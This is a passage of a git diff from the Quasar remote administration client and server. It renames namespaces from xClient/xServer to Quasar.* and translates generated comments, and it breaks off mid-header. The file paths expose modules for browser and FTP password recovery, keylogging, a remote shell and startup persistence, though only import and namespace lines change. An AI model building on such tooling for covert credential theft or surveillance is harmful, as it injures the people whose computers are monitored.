Quasar.Client.Core.Helper { public static class SystemHelper { diff --git a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs index 024f3b2c2..b59579e1d 100644 --- a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs +++ b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs @@ -2,11 +2,11 @@ using System.Diagnostics; using System.Security.Principal; using System.Threading; +using Quasar.Client.Core.Networking; using Quasar.Common.Enums; using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.Helper +namespace Quasar.Client.Core.Helper { public static class WindowsAccountHelper { diff --git a/Quasar.Client/Core/Installation/ClientInstaller.cs b/Quasar.Client/Core/Installation/ClientInstaller.cs index 9b95426f2..7e121aa55 100644 --- a/Quasar.Client/Core/Installation/ClientInstaller.cs +++ b/Quasar.Client/Core/Installation/ClientInstaller.cs @@ -2,16 +2,15 @@ using System.Diagnostics; using System.IO; using System.Threading; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Networking; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientInstaller { - public static void Install(Client client) + public static void Install(Networking.Client client) { bool isKilled = false; diff --git a/Quasar.Client/Core/Installation/ClientUninstaller.cs b/Quasar.Client/Core/Installation/ClientUninstaller.cs index bf5798155..a9c6da391 100644 --- a/Quasar.Client/Core/Installation/ClientUninstaller.cs +++ b/Quasar.Client/Core/Installation/ClientUninstaller.cs @@ -1,15 +1,14 @@ using System; using System.Diagnostics; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Helper; -using xClient.Core.Networking; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientUninstaller { - public static void Uninstall(Client client) + public static void Uninstall(Networking.Client client) { try { diff --git a/Quasar.Client/Core/Installation/ClientUpdater.cs b/Quasar.Client/Core/Installation/ClientUpdater.cs index 649e0a689..8c145ba2e 100644 --- a/Quasar.Client/Core/Installation/ClientUpdater.cs +++ b/Quasar.Client/Core/Installation/ClientUpdater.cs @@ -1,17 +1,16 @@ using System; using System.Diagnostics; using System.IO; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Utilities; using Quasar.Common.Messages; -using xClient.Config; -using xClient.Core.Helper; -using xClient.Core.Networking; -using xClient.Core.Utilities; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class ClientUpdater { - public static void Update(Client client, string newFilePath) + public static void Update(Networking.Client client, string newFilePath) { try { diff --git a/Quasar.Client/Core/Installation/Startup.cs b/Quasar.Client/Core/Installation/Startup.cs index 3987a0381..b945bdaf4 100644 --- a/Quasar.Client/Core/Installation/Startup.cs +++ b/Quasar.Client/Core/Installation/Startup.cs @@ -1,11 +1,11 @@ using System; using System.Diagnostics; using Microsoft.Win32; -using xClient.Config; -using xClient.Core.Data; -using xClient.Core.Helper; +using Quasar.Client.Config; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; -namespace xClient.Core.Installation +namespace Quasar.Client.Core.Installation { public static class Startup { diff --git a/Quasar.Client/Core/Networking/Client.cs b/Quasar.Client/Core/Networking/Client.cs index 9fe301044..bf7dbe75b 100644 --- a/Quasar.Client/Core/Networking/Client.cs +++ b/Quasar.Client/Core/Networking/Client.cs @@ -7,14 +7,14 @@ using System.Threading; using ProtoBuf; using ProtoBuf.Meta; +using Quasar.Client.Core.Compression; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.ReverseProxy; using Quasar.Common.Messages; using Quasar.Common.Networking; -using xClient.Core.Compression; -using xClient.Core.Cryptography; -using xClient.Core.Extensions; -using xClient.Core.ReverseProxy; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public class Client : ISender { diff --git a/Quasar.Client/Core/Networking/PacketHandler.cs b/Quasar.Client/Core/Networking/PacketHandler.cs index c187c47bb..136ee5840 100644 --- a/Quasar.Client/Core/Networking/PacketHandler.cs +++ b/Quasar.Client/Core/Networking/PacketHandler.cs @@ -1,8 +1,8 @@ -using Quasar.Common.Messages; -using xClient.Core.Commands; -using xClient.Core.ReverseProxy; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.ReverseProxy; +using Quasar.Common.Messages; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public static class PacketHandler { diff --git a/Quasar.Client/Core/Networking/QuasarClient.cs b/Quasar.Client/Core/Networking/QuasarClient.cs index aeba838b5..39c790934 100644 --- a/Quasar.Client/Core/Networking/QuasarClient.cs +++ b/Quasar.Client/Core/Networking/QuasarClient.cs @@ -2,14 +2,14 @@ using System.Diagnostics; using System.Threading; using System.Windows.Forms; +using Quasar.Client.Config; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Utilities; using Quasar.Common.Messages; using Quasar.Common.Utilities; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Data; -using xClient.Core.Utilities; -namespace xClient.Core.Networking +namespace Quasar.Client.Core.Networking { public class QuasarClient : Client { diff --git a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs index 223ebe66f..c359d6cf3 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Chrome { diff --git a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs index 3df764cce..7c7fd83cd 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs @@ -1,18 +1,18 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using System.Text; -using xClient.Core.Extensions; -using xClient.Core.Helper; -using xClient.Core.Recovery.Utilities; -using xClient.Core.Utilities; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Client.Core.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { /// /// A small class to recover Firefox Data diff --git a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs index aae6ef6a3..216a0cfa1 100644 --- a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs +++ b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs @@ -1,6 +1,4 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; @@ -9,9 +7,11 @@ using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; -using xClient.Core.Helper; +using Microsoft.Win32; +using Quasar.Client.Core.Helper; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public static class InternetExplorer { diff --git a/Quasar.Client/Core/Recovery/Browsers/Opera.cs b/Quasar.Client/Core/Recovery/Browsers/Opera.cs index ed82fc217..8ffa61ec3 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Opera.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Opera.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Opera { diff --git a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs index a51166622..832ae9a2e 100644 --- a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs +++ b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; -using xClient.Core.Recovery.Utilities; +using Quasar.Client.Core.Recovery.Utilities; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Browsers +namespace Quasar.Client.Core.Recovery.Browsers { public class Yandex { diff --git a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs index e704bfad1..0eb25d1a8 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs +++ b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Xml; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Core.Recovery.FtpClients { public class FileZilla { diff --git a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs index 701910575..7ce03e224 100644 --- a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs +++ b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs @@ -1,12 +1,12 @@ -using Microsoft.Win32; -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.Linq; -using xClient.Core.Extensions; -using xClient.Core.Helper; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.FtpClients +namespace Quasar.Client.Core.Recovery.FtpClients { public class WinSCP { diff --git a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs index 73a5af050..09c257af0 100644 --- a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs +++ b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Security.Cryptography; using System.Text; +using Quasar.Common.Models; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public class ChromiumBase { diff --git a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs index d93960a97..d4723fbd1 100644 --- a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs +++ b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs @@ -2,7 +2,7 @@ using System.Runtime.Serialization.Json; using System.Text; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public static class JsonUtil { diff --git a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs index 8c03a8664..0b6fe591b 100644 --- a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs +++ b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs @@ -5,7 +5,7 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; -namespace xClient.Core.Recovery.Utilities +namespace Quasar.Client.Core.Recovery.Utilities { public class SQLiteHandler { diff --git a/Quasar.Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Core/Registry/RegistryEditor.cs index 7e67dfb99..0b1c253a5 100644 --- a/Quasar.Client/Core/Registry/RegistryEditor.cs +++ b/Quasar.Client/Core/Registry/RegistryEditor.cs @@ -1,10 +1,10 @@ -using Microsoft.Win32; +using System; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; using Quasar.Common.Models; -using System; -using xClient.Core.Extensions; -using xClient.Core.Helper; -namespace xClient.Core.Registry +namespace Quasar.Client.Core.Registry { public class RegistryEditor { diff --git a/Quasar.Client/Core/Registry/RegistrySeeker.cs b/Quasar.Client/Core/Registry/RegistrySeeker.cs index 8938ae340..b6eaee812 100644 --- a/Quasar.Client/Core/Registry/RegistrySeeker.cs +++ b/Quasar.Client/Core/Registry/RegistrySeeker.cs @@ -1,11 +1,11 @@ -using Microsoft.Win32; -using System; +using System; using System.Collections.Generic; +using Microsoft.Win32; +using Quasar.Client.Core.Extensions; +using Quasar.Client.Core.Helper; using Quasar.Common.Models; -using xClient.Core.Extensions; -using xClient.Core.Helper; -namespace xClient.Core.Registry +namespace Quasar.Client.Core.Registry { public class RegistrySeeker { diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs index cf9999394..f5f0c4614 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs @@ -2,9 +2,8 @@ using System.Net; using System.Net.Sockets; using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.ReverseProxy +namespace Quasar.Client.Core.ReverseProxy { public class ReverseProxyClient { @@ -14,11 +13,11 @@ public class ReverseProxyClient public Socket Handle { get; private set; } public string Target { get; private set; } public int Port { get; private set; } - public Client Client { get; private set; } + public Networking.Client Client { get; private set; } private byte[] _buffer; private bool _disconnectIsSend; - public ReverseProxyClient(ReverseProxyConnect command, Client client) + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) { this.ConnectionId = command.ConnectionId; this.Target = command.Target; diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs index cd3a2c439..880691c97 100644 --- a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs +++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs @@ -1,11 +1,10 @@ using Quasar.Common.Messages; -using xClient.Core.Networking; -namespace xClient.Core.ReverseProxy +namespace Quasar.Client.Core.ReverseProxy { public class ReverseProxyCommandHandler { - public static void HandleCommand(Client client, IMessage packet) + public static void HandleCommand(Networking.Client client, IMessage packet) { var type = packet.GetType(); diff --git a/Quasar.Client/Core/Utilities/HostsManager.cs b/Quasar.Client/Core/Utilities/HostsManager.cs index 0664307ca..f587b2d15 100644 --- a/Quasar.Client/Core/Utilities/HostsManager.cs +++ b/Quasar.Client/Core/Utilities/HostsManager.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Net; using System.Net.Sockets; -using xClient.Core.Data; +using Quasar.Client.Core.Data; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { public class HostsManager { diff --git a/Quasar.Client/Core/Utilities/Keylogger.cs b/Quasar.Client/Core/Utilities/Keylogger.cs index 1b638f29d..201520734 100644 --- a/Quasar.Client/Core/Utilities/Keylogger.cs +++ b/Quasar.Client/Core/Utilities/Keylogger.cs @@ -4,13 +4,13 @@ using System.IO; using System.Text; using System.Windows.Forms; -using xClient.Core.Helper; -using xClient.Core.Networking; -using Timer = System.Timers.Timer; -using xClient.Config; using Gma.System.MouseKeyHook; +using Quasar.Client.Config; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Networking; +using Timer = System.Timers.Timer; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// This class provides keylogging functionality and modifies/highlights the output for diff --git a/Quasar.Client/Core/Utilities/NativeMethods.cs b/Quasar.Client/Core/Utilities/NativeMethods.cs index 81d587dca..c68a0e146 100644 --- a/Quasar.Client/Core/Utilities/NativeMethods.cs +++ b/Quasar.Client/Core/Utilities/NativeMethods.cs @@ -2,7 +2,7 @@ using System.Runtime.InteropServices; using System.Text; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Client/Core/Utilities/Shell.cs b/Quasar.Client/Core/Utilities/Shell.cs index 7b0dbd78d..894a1647c 100644 --- a/Quasar.Client/Core/Utilities/Shell.cs +++ b/Quasar.Client/Core/Utilities/Shell.cs @@ -6,7 +6,7 @@ using System.Threading; using Quasar.Common.Messages; -namespace xClient.Core.Utilities +namespace Quasar.Client.Core.Utilities { /// /// This class manages a remote shell session. diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index a6ade15d0..81522c820 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -3,16 +3,16 @@ using System.IO; using System.Threading; using System.Windows.Forms; -using xClient.Config; -using xClient.Core.Commands; -using xClient.Core.Cryptography; -using xClient.Core.Data; -using xClient.Core.Helper; -using xClient.Core.Installation; -using xClient.Core.Networking; -using xClient.Core.Utilities; - -namespace xClient +using Quasar.Client.Config; +using Quasar.Client.Core.Commands; +using Quasar.Client.Core.Cryptography; +using Quasar.Client.Core.Data; +using Quasar.Client.Core.Helper; +using Quasar.Client.Core.Installation; +using Quasar.Client.Core.Networking; +using Quasar.Client.Core.Utilities; + +namespace Quasar.Client { internal static class Program { diff --git a/Quasar.Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs index 71d9533c6..cf606db84 100644 --- a/Quasar.Client/Properties/Resources.Designer.cs +++ b/Quasar.Client/Properties/Resources.Designer.cs @@ -1,25 +1,25 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Client.Properties { using System; /// - /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw. + /// A strongly-typed resource class, for looking up localized strings, etc. /// - // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert - // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert. - // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen - // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -33,13 +33,13 @@ internal Resources() { } /// - /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird. + /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if (object.ReferenceEquals(resourceMan, null)) { - global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xClient.Properties.Resources", typeof(Resources).Assembly); + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; @@ -47,8 +47,8 @@ internal Resources() { } /// - /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle - /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden. + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { @@ -61,7 +61,7 @@ internal Resources() { } /// - /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. + /// Looks up a localized resource of type System.Drawing.Bitmap. /// internal static System.Drawing.Bitmap information { get { diff --git a/Quasar.Client/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs index 7c3ac0c66..b4ca5f2aa 100644 --- a/Quasar.Client/Properties/Settings.Designer.cs +++ b/Quasar.Client/Properties/Settings.Designer.cs @@ -1,18 +1,18 @@ //------------------------------------------------------------------------------ // -// Dieser Code wurde von einem Tool generiert. -// Laufzeitversion:4.0.30319.42000 +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 // -// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn -// der Code erneut generiert wird. +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. // //------------------------------------------------------------------------------ -namespace xClient.Properties { +namespace Quasar.Client.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj index 4e7b6599f..b9b86ff70 100644 --- a/Quasar.Client/Quasar.Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -8,7 +8,7 @@ {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1} WinExe Properties - xClient + Quasar.Client Client v4.0 512 @@ -37,7 +37,7 @@ false - xClient.Program + Quasar.Client.Program app.manifest diff --git a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs index 512e57a29..eefd9c8ad 100644 --- a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs +++ b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs @@ -1,8 +1,8 @@ using System; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Compression; +using Quasar.Server.Core.Compression; -namespace xServer.Tests.Core.Compression +namespace Quasar.Server.Tests.Core.Compression { [TestClass] public class SafeQuickLZTests diff --git a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs index 57619467f..9ce9fadee 100644 --- a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs +++ b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs @@ -1,9 +1,9 @@ using System.Text; using Microsoft.VisualStudio.TestTools.UnitTesting; -using xServer.Core.Cryptography; -using xServer.Core.Helper; +using Quasar.Server.Core.Cryptography; +using Quasar.Server.Core.Helper; -namespace xServer.Tests.Core.Encryption +namespace Quasar.Server.Tests.Core.Encryption { [TestClass] public class AESTests diff --git a/Quasar.Server.Tests/Quasar.Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj index 6a039914f..620cac316 100644 --- a/Quasar.Server.Tests/Quasar.Server.Tests.csproj +++ b/Quasar.Server.Tests/Quasar.Server.Tests.csproj @@ -6,7 +6,7 @@ {BF45108E-1E43-486B-A71D-5426BBB041DB} Library Properties - xServer.Tests + Quasar.Server.Tests Server.Tests v4.0 512 diff --git a/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs index 19e713ed6..21a33f89d 100644 --- a/Quasar.Server/Controls/DotNetBarTabControl.cs +++ b/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -5,7 +5,7 @@ // thanks to Mavamaarten~ for coding this -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class DotNetBarTabControl : TabControl { diff --git a/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs index a2e145d08..42e8249af 100644 --- a/Quasar.Server/Controls/HexEditor/ByteCollection.cs +++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -1,9 +1,7 @@ using System; using System.Collections.Generic; -using System.Linq; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class ByteCollection { diff --git a/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs index 38fa26b73..ac83acd4d 100644 --- a/Quasar.Server/Controls/HexEditor/Caret.cs +++ b/Quasar.Server/Controls/HexEditor/Caret.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; using System.Runtime.InteropServices; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class Caret { diff --git a/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs index fd222900b..586b9fc6f 100644 --- a/Quasar.Server/Controls/HexEditor/EditView.cs +++ b/Quasar.Server/Controls/HexEditor/EditView.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class EditView : IKeyMouseEventHandler { diff --git a/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs index 882ba9308..fba34926e 100644 --- a/Quasar.Server/Controls/HexEditor/HexEditor.cs +++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -1,12 +1,9 @@ using System; -using System.Collections.Generic; using System.ComponentModel; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { /* * Derived and Adapted from Bernhard Elbl diff --git a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs index 3dcd0641f..cc57191fe 100644 --- a/Quasar.Server/Controls/HexEditor/HexViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class HexViewHandler { diff --git a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs index eb01dba9f..7121208a6 100644 --- a/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs +++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -1,10 +1,7 @@ using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public interface IKeyMouseEventHandler { diff --git a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs index 4d1821e0e..125e133ee 100644 --- a/Quasar.Server/Controls/HexEditor/StringViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class StringViewHandler { diff --git a/Quasar.Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs index d14724616..08df5b476 100644 --- a/Quasar.Server/Controls/InputBox.cs +++ b/Quasar.Server/Controls/InputBox.cs @@ -2,7 +2,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public static class InputBox { diff --git a/Quasar.Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs index e149f0e0b..28aefa6c2 100644 --- a/Quasar.Server/Controls/Line.cs +++ b/Quasar.Server/Controls/Line.cs @@ -1,7 +1,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class Line : Control { diff --git a/Quasar.Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs index d316e94f7..26bb4b19a 100644 --- a/Quasar.Server/Controls/ListViewEx.cs +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -1,9 +1,9 @@ using System; using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; +using Quasar.Server.Core.Helper; +using Quasar.Server.Core.Utilities; -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class AeroListView : ListView { diff --git a/Quasar.Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs index 54cce2e6e..39ad41442 100644 --- a/Quasar.Server/Controls/RapidPictureBox.cs +++ b/Quasar.Server/Controls/RapidPictureBox.cs @@ -2,9 +2,9 @@ using System.Diagnostics; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Utilities; +using Quasar.Server.Core.Utilities; -namespace xServer.Controls +namespace Quasar.Server.Controls { public interface IRapidPictureBox { diff --git a/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs index 